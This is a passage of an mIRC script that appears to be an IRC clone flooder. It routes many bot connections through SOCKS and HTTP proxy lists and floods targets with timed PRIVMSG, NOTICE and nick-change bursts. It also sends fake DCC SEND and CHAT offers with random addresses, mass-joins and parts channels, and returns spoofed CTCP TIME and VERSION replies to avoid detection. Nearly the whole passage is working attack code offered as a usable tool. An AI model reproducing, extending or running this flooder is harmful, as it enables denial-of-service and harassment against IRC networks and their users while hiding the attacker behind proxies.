  539. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $Did(Clone,117) $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $+ 
  540. }
  541. If ($Did(91) == NOTICE) && ($Did(99) isnum) {
  542. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $Did(Clone,117) $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) NOTICE $Did(Clone,56) : $+ $did(Clone,57)
  543. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) { .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $did(Clone,117) $did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) NOTICE $Did(Clone,56) : $+ $did(Clone,57) }
  544. }
  545. If ($Did(91) == NOTICE) && ($Did(99) !isnum) {
  546. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $Did(Clone,117) $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) NOTICE $Did(Clone,56) : $+ $did(Clone,57)
  547. }
  548. If ($Did(91) == PRIVMSG) && ($Did(99) isnum) && ($Did(96).State == 0) && ($Did(97).State == 0) {
  549. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $Did(Clone,117) $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57)
  550. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) { .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $did(Clone,117) $did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) }
  551. }
  552. If ($Did(91) == PRIVMSG) && ($Did(99) !isnum) && ($Did(96).State == 0) && ($Did(97).State == 0) {
  553. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $Did(Clone,117) $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57)
  554. }
  555. If ($Did(91) == PRIVMSG) && ($Did(99) isnum) && ($Did(96).State == 0) && ($Did(97).State == 1) {
  556. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $Did(Clone,117) $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $eval($+ $Clone.RandomText,0)
  557. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) { .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $did(Clone,117) $did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $eval($+ $Clone.RandomText,0) }
  558. }
  559. If ($Did(91) == PRIVMSG) && ($Did(99) !isnum) && ($Did(96).State == 0) && ($Did(97).State == 1) {
  560. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $Did(Clone,117) $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $eval($+ $Clone.RandomText,0)
  561. }
  562. If ($Did(91) == PRIVMSG) && ($Did(96).State == 1) && ($Did(97).State == 0) {
  563. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 0 Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57)
  564. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) NICK
  565. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 2) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57)
  566. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 3) Clone.Actions :KEY: %key $Did(Clone,40) NICK
  567. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 4) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57)
  568. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 5) Clone.Actions :KEY: %key $Did(Clone,40) NICK
  569. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 0 Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57)
  570. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) NICK
  571. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 2) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57)
  572. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 3) Clone.Actions :KEY: %key $Did(Clone,40) NICK
  573. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 4) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57)
  574. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 5) Clone.Actions :KEY: %key $Did(Clone,40) NICK
  575. }
  576. If ($Did(91) == PRIVMSG) && ($Did(96).State == 1) && ($Did(97).State == 1) {
  577. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 0 Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $eval($+ $Clone.RandomText,0)
  578. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) NICK
  579. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 2) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $eval($+ $Clone.RandomText,0)
  580. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 3) Clone.Actions :KEY: %key $Did(Clone,40) NICK
  581. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 4) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $eval($+ $Clone.RandomText,0)
  582. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 5) Clone.Actions :KEY: %key $Did(Clone,40) NICK
  583. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 0 Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $eval($+ $Clone.RandomText,0)
  584. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) NICK
  585. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 2) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $eval($+ $Clone.RandomText,0)
  586. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 3) Clone.Actions :KEY: %key $Did(Clone,40) NICK
  587. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 4) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $eval($+ $Clone.RandomText,0)
  588. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 5) Clone.Actions :KEY: %key $Did(Clone,40) NICK
  589. }
  590. }
  591.  
  592. On *:Dialog:Clone:SClick:*: {
  593. If ($Did == 199) {
  594. Did -a $DName 1100 $Did(198)
  595. Did -ra $DName 1106 $Calc($Did(1106) + 1)
  596. }
  597. If ($Did == 1104) {
  598. Var %F = $Input(Enter Filename:,ego,Clone)
  599. If (%F) {
  600. Var %I = 1
  601. While ($Did(1103,%I)) { Write %F $+ .txt $Did(1103,%I) | Inc %I }
  602. }
  603. }
  604. If ($Did == 888) {
  605. Clone.actions $Did(Clone,40) mode $Did(889)
  606. }
  607. If ($Did == 1107) {
  608. Did -ra $DName 1111 0
  609. Var %I = 1
  610. While ($Did(1100,%I)) {
  611. SockQueue CloneGet. [ $+ [ %I ] ] $Gettok($Remove($Did(1100,%I),http://,www.),1,47) 80
  612. Set %Clone.Get.URL. [ $+ [ %I ] ] $Gettok($Remove($Did(1100,%I),http://,www.),1,47)
  613. Set %Clone.Get.Ext. [ $+ [ %I ] ] $Iif($Gettok($Remove($Did(1100,%I),http://,www.),2-,47),$Chr(47) $+ $Gettok($Remove($Did(1100,%I),http://,www.),2-,47),$Chr(47))
  614. Inc %I
  615. }
  616. }
  617. If ($Did == 1108) { Did -r $DName 1103 }
  618. If ($Did == 1109) {
  619. Did -r $DName 34
  620. Var %I = 1
  621. While ($Did(1103,%I)) { Did -a $DName 34 $Replace($Did(1103,%I),$Chr(58),$Chr(32)) | Inc %I }
  622. }
  623. If ($Did == 1114) && ($Did(1100).Sel) { Did -d $DName 1100 $Did(1100).Sel }
  624. If ($Did == 1115) { Did -r $DName 1100 }
  625. If ($Did == 31) {
  626. If (*.*.* iswm $Did(29)) && ($Did(30) <= 65535) && ($Did(30) >= 1) { Did -a $DName 34 $Did(29) $Did(30) | Did -o Clone 102,10 1 $Did(Clone,34).Lines }
  627. Else { Clone.Error Invalid Sock/Proxy or Port }
  628. }
  629. If ($Did == 32) {
  630. Var %I = $Did(Clone,34,0).Sel
  631. While (%I) {
  632. Did -d $DName 34 $Did(Clone,34,%I).Sel | Did -o Clone 102,10 1 $Did(Clone,34).Lines
  633. Dec %I
  634. }
  635. }
  636. If ($Did == 33) {
  637. Var %F = $SFile($mIRCDir,Clone,Import)
  638. If (%F) {
  639. Var %I = 1
  640. While ($Read(%F,%I)) {
  641. Var %F1 = $Read(%F,%I)
  642. If ($Gettok(%F1,0,58) == 2) { Var %F1 = $Replace(%F1,$Chr(58),$Chr(32)) }
  643. If ($Gettok(%F1,0,32) != 2) || ($Abs($Gettok(%F1,2,32)) == 0) { Clone.Error Invalid Sock/Proxy file | Return }
  644. Else { Did -a $DName 34 %F1 }
  645. Inc %I
  646. }
  647. }
  648. Did -o Clone 102,10 1 $Did(Clone,34).Lines
  649. }
  650. If ($Did == 83) {
  651. Var %I = 1
  652. While ($CB(%I)) {
  653. Var %F1 = $CB(%I)
  654. If ($Gettok(%F1,0,58) == 2) { Var %F1 = $Replace(%F1,$Chr(58),$Chr(32)) }
  655. If ($Gettok(%F1,0,32) != 2) || ($Abs($Gettok(%F1,2,32)) == 0) { Clone.Error Invalid Socks/Proxys in Clipboard | Return }
  656. Else { Did -a $DName 34 %F1 }
  657. Inc %I
  658. }
  659. Did -o Clone 102,10 1 $Did(Clone,34).Lines
  660. }
  661. If ($Did == 35) { Did -r $DName 34 | Did -o Clone 102,10 1 $Did(Clone,34).Lines }
  662. If ($Did == 11) { Did -b $DName 14 | Did -b $DName 15 | Did -b $DName 16 }
  663. If ($Did == 12) { Did -e $DName 14 | Did -b $DName 15 | Did -e $DName 16 }
  664. If ($Did == 13) { Did -b $DName 14 | Did -e $DName 15 | Did -b $DName 16 }
  665. If ($Did == 67) { Did -b $DName 70 | Did -b $DName 71 | Did -b $DName 72 | Did -e $DName 66 }
  666. If ($Did == 68) {
  667. Did -e $DName 70 | Did -b $DName 71 | Did -e $DName 72
  668. If ($Did(70)) { Did -e $DName 66 }
  669. Else { Did -b $DName 66 }
  670. }
  671. If ($Did == 69) {
  672. Did -b $DName 70 | Did -e $DName 71 | Did -b $DName 72
  673. If ($Did(71)) { Did -e $DName 66 }
  674. Else { Did -b $DName 66 }
  675. }
  676. If ($Did == 16) {
  677. Var %F = $SFile($mIRCDir,Clone,Import)
  678. If (%F) { Did -ra $DName 14 %F }
  679. }
  680. If ($Did == 72) {
  681. Var %F = $SFile($mIRCDir,Clone,Import)
  682. If (%F) { Did -ra $DName 70 %F | Did -e $DName 66 }
  683. }
  684. If ($Did == 60) {
  685. If ($Count($Did(59),$Chr(32)) == 0) && ($Len($Did(59)) >= 1) && ($Did(60)) { Did -e $DName 58 }
  686. Else { Did -b $DName 58 }
  687. }
  688. If ($Did == 41) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) JOIN $Did(42) }
  689. If ($Did == 43) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) PART $Did(44) : $+ $Did(45) }
  690. If ($Did == 46) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) JOINPART $Did(47) : $+ $Did(48) }
  691. If ($Did == 49) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(50) : $+ $Did(51) }
  692. If ($Did == 52) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) NOTICE $Did(53) : $+ $Did(54) }
  693. If ($Did == 55) { Clone.Flood }
  694. If ($Did == 58) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(59) : $+ $Did(60) $+  }
  695. If ($Did == 61) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(62) :DCC SEND $Did(63) $Rand(0,4294967294) 1024 $Rand(10000,500000) $+  }
  696. If ($Did == 64) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(65) :DCC CHAT chat $Rand(0,4294967294) 1024 }
  697. If ($Did == 66) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) NICK }
  698. If ($Did == 73) {
  699. Var %I = 1
  700. While ($Did(74,%I)) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) RAW $Did(74,%I) | Inc %I }
  701. }
  702. If ($Did == 77) {
  703. If (!$Did(34,1)) && (($Did(6) == Proxy) || ($Did(6) == Socks4) || ($Did(6) == Socks5) || ($Did(6) == Socks4&5)) { Clone.Error Enter $Did(6) to the Proxy/Socks List }
  704. ElseIf (*.*.* !iswm $Did(2)) { Clone.Error Enter a valid Server }
  705. ElseIf ($Did(4) <= 0) && ($Did(4) >= 65535) { Clone.Error Enter a valid Port }
  706. ElseIf (!$Did(10)) || ($Did(10) !isnum) { Clone.Error Enter the number clones to connect }
  707. ElseIf ($Did(12).State == 1) && ($Exists($Did(14)) == $False) { Clone.Error Nicklist doesnt Exist }
  708. ElseIf ($Did(13).State == 1) && (!$Did(15)) { Clone.Error Enter a Nickname }
  709. ElseIf (($Did(6) == Socks4) || ($Did(6) == Socks5) || ($Did(6) == Socks4&5)) && ($Remove($Did(2),.) !isnum) { .Enable #Clone.DNS | .DNS $Did(2) }
  710. Else { .TimerClone.Go -o $Did(10) 0 Clone.Go }
  711. }
  712. If ($Did == 78 && $Did(40) == All) { Did -r $DName 38 | Did -ra $DName 24 0 | Did -ra $DName 25 0 | SockClose Clone.* | Unset %Clone.* }
  713. If ($Did == 78 && $Did(40) == Selected) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) QUIT }
  714. If ($Did == 79) { SockClose Clone.* | Dialog -x $DName }
  715. If ($Did == 80) { Clone.IPs }
  716. If ($Did == 84) {
  717. Var %I = $Sock(Clone.*,0)
  718. While (%I) {
  719. If (!$Sock(Clone.*,%I).Mark || $Sock(Clone.*,%I).Mark == 1) { SockClose $Sock(Clone.*,%I) }
  720. Dec %I
  721. }
  722. Did -o Clone 25 1 $Sock(Clone.*,0)
  723. }
  724. If ($Did == 88) { Did -b $DName 86 }
  725. If ($Did == 87) { Did -e $DName 86 }
  726. If ($Did == 93) { .TimerFlood* off }
  727. If ($Did == 96) {
  728. If ($Did(96).State == 1) { Did -r Clone 117 | Did -c Clone 91 3 | Did -b Clone 116,117,91 }
  729. If ($Did(96).State == 0) && ($Did(97).State == 0) { Did -e Clone 116,117,91 }
  730. If ($Did(96).State == 0) && ($Did(97).State == 1) { Did -e Clone 116,117 }
  731. If ($Did(96).State == 0) && ($Did(117) !isnum) { Did -b Clone 55 }
  732. If ($Did(96).State == 1) && ($Did(95) isnum) && ($Did(99) isnum) && ($Did(56)) && ($Did(57) || ($Did(97).State == 1)) { Did -e Clone 55 }
  733. If ($Did(96).State == 1) && ($Did(99) !isnum) { Did -b Clone 55 }
  734. }
  735. If ($Did == 97) {
  736. If ($Did(97).State == 1) { Did -c Clone 91 3 | Did -b Clone 91 }
  737. If ($Did(97).State == 0) && ($Did(96).State == 0) { Did -e Clone 91 }
  738. If ($Did(97).State == 1) && ($Did(117) isnum) && ($Did(95) isnum) && ($Did(56)) { Did -e Clone 55 }
  739. If ($Did(97).State == 1) && ($Did(96).State == 1) && ($Did(95) isnum) && ($Did(99) isnum) && ($Did(56)) { Did -e Clone 55 }
  740. If ($Did(97).State == 0) && (!$Did(57)) { Did -b Clone 55 }
  741. }
  742. }
  743.  
  744. #Clone.DNS off
  745. On *:DNS: {
  746. If ($RAddress) { Did -ra Clone 2 $RAddress | .TimerClone.Go -o $Did(Clone,10) 0 Clone.Go }
  747. Else { Clone.Error Unable to resolve DNS of $Did(Clone,2) }
  748. .Disable #Clone.DNS
  749. Halt
  750. }
  751. #Clone.DNS End
  752.  
  753. Alias genHighlighted {
  754. var %i = $Did(Clone,38,0).sel, %t = 0, %n, %all
  755. while (%i) {
  756. var %n = $did(clone,38,$did(clone,38,%i).sel).text
  757. if ($calc($len(%n) + 1 + $len(%all)) > 900) {
  758. set -e %selectednicks. [ $+ [ $1 ] $+ ] - [ $+ [ %t ] ] %all
  759. inc %t
  760. var %all
  761. }
  762. var %all = $addtok(%all,%n,32)
  763. dec %i
  764. }
  765. set -e %selectednicks. [ $+ [ $1 ] $+ ] - [ $+ [ %t ] ] %all
  766. }
  767.  
  768. Alias Clone.Nicklist.Box.Update {
  769. var %key = $left($md5($ticks),10)
  770. genHighlighted %key
  771.  
  772. Did -r Clone 38
  773. Var %I = 1
  774. While ($Sock(Clone.*,%I)) {
  775. If ($Sock(Clone.*,%I).Mark && $Sock(Clone.*,%I).Mark != 1) { Did -a Clone 38 $Sock(Clone.*,%I).Mark }
  776. Inc %I
  777. }
  778.  
  779. var %s = $+($chr(37),selectednicks.,%key,-,*)
  780. var %a = $var($eval(%s,1),0)
  781. While (%a) {
  782. var %g = $gettok($eval($var($eval(%s,1),%a),2),0,32)
  783. While (%g) {
  784. If ($didwm(Clone,38,$gettok($eval($var($eval(%s,1),%a),2),%g,32),1)) {
  785. Did -kc Clone 38 $didwm(Clone,38,$gettok($eval($var($eval(%s,1),%a),2),%g,32),1)
  786. }
  787. Dec %g
  788. }
  789. Dec %a
  790. }
  791. }
  792.  
  793. On *:SockOpen:Clone.*: {
  794. If ($SockErr) { SockClose $SockName | Did -o Clone 25 1 $Sock(Clone.*,0) | Return }
  795. If (Clone.Socks4.* iswm $SockName) { BSet &Clone 1 4 1 $Gettok($LongIP($Did(Clone,4)),3,46) $Gettok($LongIP($Did(Clone,4)),4,46) $Replace($Did(Clone,2),$Chr(46),$Chr(32)) 0 | SockWrite $SockName &Clone }
  796. If (Clone.Socks5.* iswm $SockName) { BSet &Clone 1 5 1 0 | SockWrite $SockName &Clone }
  797. If (Clone.Proxy.* iswm $SockName) {
  798. SockWrite $SockName CONNECT $+($Did(Clone,2),:,$Did(Clone,4)) HTTP/1.0
  799. SockWrite $SockName $CRLF $+ $CRLF $+ $CRLF
  800. }
  801. If (Clone.Normal.* iswm $Sockname) { Clone.Conn.User $SockName }
  802. Did -o Clone 25 1 $Sock(Clone.*,0)
  803. }
  804.  
  805. On *:SockRead:Clone.Socks4.*: {
  806. If ($SockErr) {
  807. If ($Sock($SockName).Mark) && ($Sock($SockName).Mark != 1) { SockClose $SockName | Clone.Nicklist.Box.Update | Did -o Clone 24 1 $Did(Clone,38).Lines | Did -o Clone 25 1 $Sock(Clone.*,0) | Return }
  808. Else { SockClose $SockName | Did -o Clone 25 1 $Sock(Clone.*,0) | Return }
  809. }
  810. Else {
  811. If (Clone.Socks4.* iswm $SockName) && (!$Sock($SockName).Mark) {
  812. SockRead &Read
  813. If ($BVar(&Read,2) == 90) { SockMark $SockName 1 | Clone.Conn.User $SockName }
  814. }
  815. Clone.SockReadInstructions
  816. }
  817. }
  818.  
  819. On *:SockRead:Clone.Socks5.*: {
  820. If ($SockErr) {
  821. If ($Sock($SockName).Mark) && ($Sock($SockName).Mark != 1) { SockClose $SockName | Clone.Nicklist.Box.Update | Did -o Clone 24 1 $Did(Clone,38).Lines | Did -o Clone 25 1 $Sock(Clone.*,0) | Return }
  822. Else { SockClose $SockName | Did -o Clone 25 1 $Sock(Clone.*,0) | Return }
  823. }
  824. Else {
  825. If (Clone.Socks5.* iswm $SockName) && (!$Sock($SockName).Mark) {
  826. SockRead &Read
  827. If ($BVar(&Read,1,2) == 5 0) && ($BVar(&Read,3) != 0) {
  828. Var %Port = $Gettok($LongIP($Did(Clone,4)),3,46) $Gettok($LongIP($Did(Clone,4)),4,46)
  829. Var %Serv = $Replace($Did(Clone,2),$Chr(46),$Chr(32))
  830. BSet &Clone.Send 1 5 1 0 1 %Serv %Port
  831. SockWrite $SockName &Clone.Send
  832. }
  833. If ($BVar(&Read,1,3) == 5 0 0) { SockMark $SockName 1 | Clone.Conn.User $SockName }
  834. }
  835. Clone.SockReadInstructions
  836. }
  837. }
  838.  
  839. On *:SockRead:Clone.Proxy.*: {
  840. If ($SockErr) {
  841. If ($Sock($SockName).Mark) && ($Sock($SockName).Mark != 1) { SockClose $SockName | Clone.Nicklist.Box.Update | Did -o Clone 24 1 $Did(Clone,38).Lines | Did -o Clone 25 1 $Sock(Clone.*,0) | Return }
  842. Else { SockClose $SockName | Did -o Clone 25 1 $Sock(Clone.*,0) | Return }
  843. }
  844. Else {
  845. Clone.SockReadInstructions
  846. }
  847. }
  848.  
  849. On *:SockRead:Clone.Normal.*: {
  850. If ($SockErr) {
  851. If ($Sock($SockName).Mark) && ($Sock($SockName).Mark != 1) { SockClose $SockName | Clone.Nicklist.Box.Update | Did -o Clone 24 1 $Did(Clone,38).Lines | Did -o Clone 25 1 $Sock(Clone.*,0) | Return }
  852. Else { SockClose $SockName | Did -o Clone 25 1 $Sock(Clone.*,0) | Return }
  853. }
  854. Else {
  855. Clone.SockReadInstructions
  856. }
  857. }
  858.  
  859. Alias Clone.SockReadInstructions {
  860. SockRead %Clone.Read
  861. If (%Clone.Read && $did(clone,87).state == 1 && $did(clone,86).state == 1 && ($Gettok(%Clone.Read,1,32) != PING)) { Echo %Clone.Read }
  862. If (%Clone.Read && $did(clone,87).state == 1 && $did(clone,86).state == 0) { Echo %Clone.Read }
  863. Tokenize 32 %Clone.Read
  864. Unset %Clone.Read
  865. If ($2 == 200) && (*HTTP* iswm $1) { Clone.Conn.User $SockName }
  866. If ($5 == broken) { SockWrite -nt $SockName $16-17 }
  867. If ($5 == response) { SockWrite -nt $SockName $17-18 }
  868. If ($1 == PING) { SockWrite -nt $SockName PONG : $+ $Remove($2,:) }
  869. If ($2 == PRIVMSG) && ($Did(Clone,81).State == 1) {
  870. If ($4 == :PING) { SockWrite -nt $SockName NOTICE $Remove($Gettok($1,1,33),:) :PING $5 }
  871. If ($4 == :TIME) { SockWrite -nt $SockName NOTICE $Remove($Gettok($1,1,33),:) :TIME $ASCTime($Calc($Rand($Calc($CTime - 10000),$Calc($CTime + 10000)))) $+  }
  872. If ($4 == :VERSION) { SockWrite -nt $SockName NOTICE $Remove($Gettok($1,1,33),:) :VERSION $VReply($Rand(1,36)) }
  873. }
